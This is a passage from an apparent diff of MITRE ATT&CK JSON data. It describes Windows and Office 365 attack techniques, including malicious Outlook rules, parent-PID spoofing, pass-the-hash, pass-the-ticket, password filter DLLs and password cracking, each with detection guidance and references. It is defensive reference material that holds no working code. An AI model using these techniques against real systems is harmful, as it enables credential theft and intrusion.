"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Outlook Home Page", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-16T21:30:01.743Z", + "created": "2019-11-07T20:09:56.536Z", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441", + "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1137/004", + "external_id": "T1137.004", + "source_name": "mitre-attack" + }, + { + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Home Page" + }, + { + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "source_name": "Microsoft Detect Outlook Forms" + }, + { + "url": "https://github.com/sensepost/notruler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "source_name": "SensePost NotRuler" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Outlook Rules", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T20:18:30.700Z", + "created": "2019-11-07T20:00:25.560Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44", + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)", + "x_mitre_contributors": [ + "Microsoft Security" + ], + "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1137/005", + "external_id": "T1137.005", + "source_name": "mitre-attack" + }, + { + "url": "https://silentbreaksecurity.com/malicious-outlook-rules/", + "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.", + "source_name": "SilentBreak Outlook Rules" + }, + { + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "source_name": "Microsoft Detect Outlook Forms" + }, + { + "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/", + "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", + "source_name": "Pfammatter - Hidden Inbox Rules" + }, + { + "url": "https://github.com/sensepost/notruler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "source_name": "SensePost NotRuler" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-18T18:23:31.546Z", + "name": "Parent PID Spoofing", + "created": "2019-06-03T14:50:50.613Z", + "id": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1502", + "external_id": "T1502", + "source_name": "mitre-attack" + }, + { + "source_name": "DidierStevens SelectMyParent Nov 2009", + "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.", + "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/" + }, + { + "source_name": "Microsoft UAC Nov 2018", + "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.", + "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works" + }, + { + "source_name": "CounterCept PPID Spoofing Dec 2018", + "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.", + "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/" + }, + { + "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", + "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.", + "source_name": "CTD PPID Spoofing Macro Mar 2019" + }, + { + "source_name": "XPNSec PPID Nov 2017", + "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.", + "url": "https://blog.xpnsec.com/becoming-system/" + }, + { + "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags", + "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.", + "source_name": "Microsoft Process Creation Flags May 2018" + }, + { + "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3", + "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.", + "source_name": "Secuirtyinbits Ataware3 May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Parent PID Spoofing", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Process: Process Creation", + "Process: Process Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2021-02-09T14:11:20.296Z", + "created": "2020-02-18T18:22:41.448Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", + "x_mitre_defense_bypassed": [ + "Heuristic Detection", + "Host forensic analysis" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", + "x_mitre_contributors": [ + "Wayne Silva, F-Secure Countercept" + ], + "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1134/004", + "external_id": "T1134.004", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/", + "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.", + "source_name": "DidierStevens SelectMyParent Nov 2009" + }, + { + "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works", + "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.", + "source_name": "Microsoft UAC Nov 2018" + }, + { + "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/", + "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.", + "source_name": "CounterCept PPID Spoofing Dec 2018" + }, + { + "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", + "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.", + "source_name": "CTD PPID Spoofing Macro Mar 2019" + }, + { + "url": "https://blog.xpnsec.com/becoming-system/", + "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.", + "source_name": "XPNSec PPID Nov 2017" + }, + { + "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags", + "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.", + "source_name": "Microsoft Process Creation Flags May 2018" + }, + { + "source_name": "Secuirtyinbits Ataware3 May 2019", + "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.", + "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-30T19:55:38.699Z", + "name": "Pass the Hash", + "created": "2017-05-31T21:30:59.339Z", + "id": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1075", + "external_id": "T1075", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/644.html", + "external_id": "CAPEC-644", + "source_name": "capec" + }, + { + "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm", + "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", + "source_name": "NSA Spotting" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Pass the Hash", + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation", + "Active Directory: Active Directory Credential Request" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-31T19:55:02.702Z", + "created": "2020-01-30T16:36:51.184Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_defense_bypassed": [ + "System Access Controls" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)", + "x_mitre_contributors": [ + "Blake Strom, Microsoft 365 Defender", + "Travis Smith, Tripwire" + ], + "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1550/002", + "external_id": "T1550.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/644.html", + "external_id": "CAPEC-644", + "source_name": "capec" + }, + { + "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/", + "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.", + "source_name": "Stealthbits Overpass-the-Hash" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-30T19:57:16.037Z", + "name": "Pass the Ticket", + "created": "2017-05-31T21:31:11.623Z", + "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1097", + "external_id": "T1097", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/645.html", + "external_id": "CAPEC-645", + "source_name": "capec" + }, + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + }, + { + "source_name": "GentilKiwi Pass the Ticket", + "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.", + "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" + }, + { + "source_name": "Campbell 2014", + "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.", + "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Pass the Ticket", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1550/003", + "external_id": "T1550.003", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/645.html", + "external_id": "CAPEC-645", + "source_name": "capec" + }, + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + }, + { + "source_name": "GentilKiwi Pass the Ticket", + "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.", + "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" + }, + { + "source_name": "Campbell 2014", + "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.", + "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf" + }, + { + "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/", + "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.", + "source_name": "Stealthbits Overpass-the-Hash" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + } + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation", + "Active Directory: Active Directory Credential Request" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-31T19:56:31.341Z", + "x_mitre_system_requirements": [ + "Kerberos authentication enabled" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_defense_bypassed": [ + "System Access Controls" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", + "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)", + "x_mitre_contributors": [ + "Vincent Le Toux", + "Ryan Becwar" + ], + "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)", + "created": "2020-01-30T17:03:43.072Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Password Cracking", + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.1", + "modified": "2020-09-16T15:39:59.041Z", + "created": "2020-02-11T18:38:56.197Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365", + "Azure AD" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d", + "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1110/002", + "external_id": "T1110.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/55.html", + "external_id": "CAPEC-55", + "source_name": "capec" + }, + { + "source_name": "Wikipedia Password cracking", + "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.", + "url": "https://en.wikipedia.org/wiki/Password_cracking" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-11T19:06:18.818Z", + "name": "Password Filter DLL", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1174", + "external_id": "T1174", + "source_name": "mitre-attack" + }, + { + "source_name": "Carnal Ownage Password Filters Sept 2013", + "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html" + }, + { + "source_name": "Clymb3r Function Hook Passwords Sept 2013", + "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", + "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Password Filter DLL", + "x_mitre_data_sources": [ + "File: File Creation", + "Module: Module Load", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-20T20:11:55.147Z", + "created": "2020-02-11T19:05:45.829Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1556/002", + "external_id": "T1556.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Carnal Ownage Password Filters Sept 2013", + "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html" + }, + { + "source_name": "Clymb3r Function Hook Passwords Sept 2013", + "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", + "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Password Guessing", + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-21T16:41:35.269Z", + "created": "2020-02-11T18:38:22.617Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure 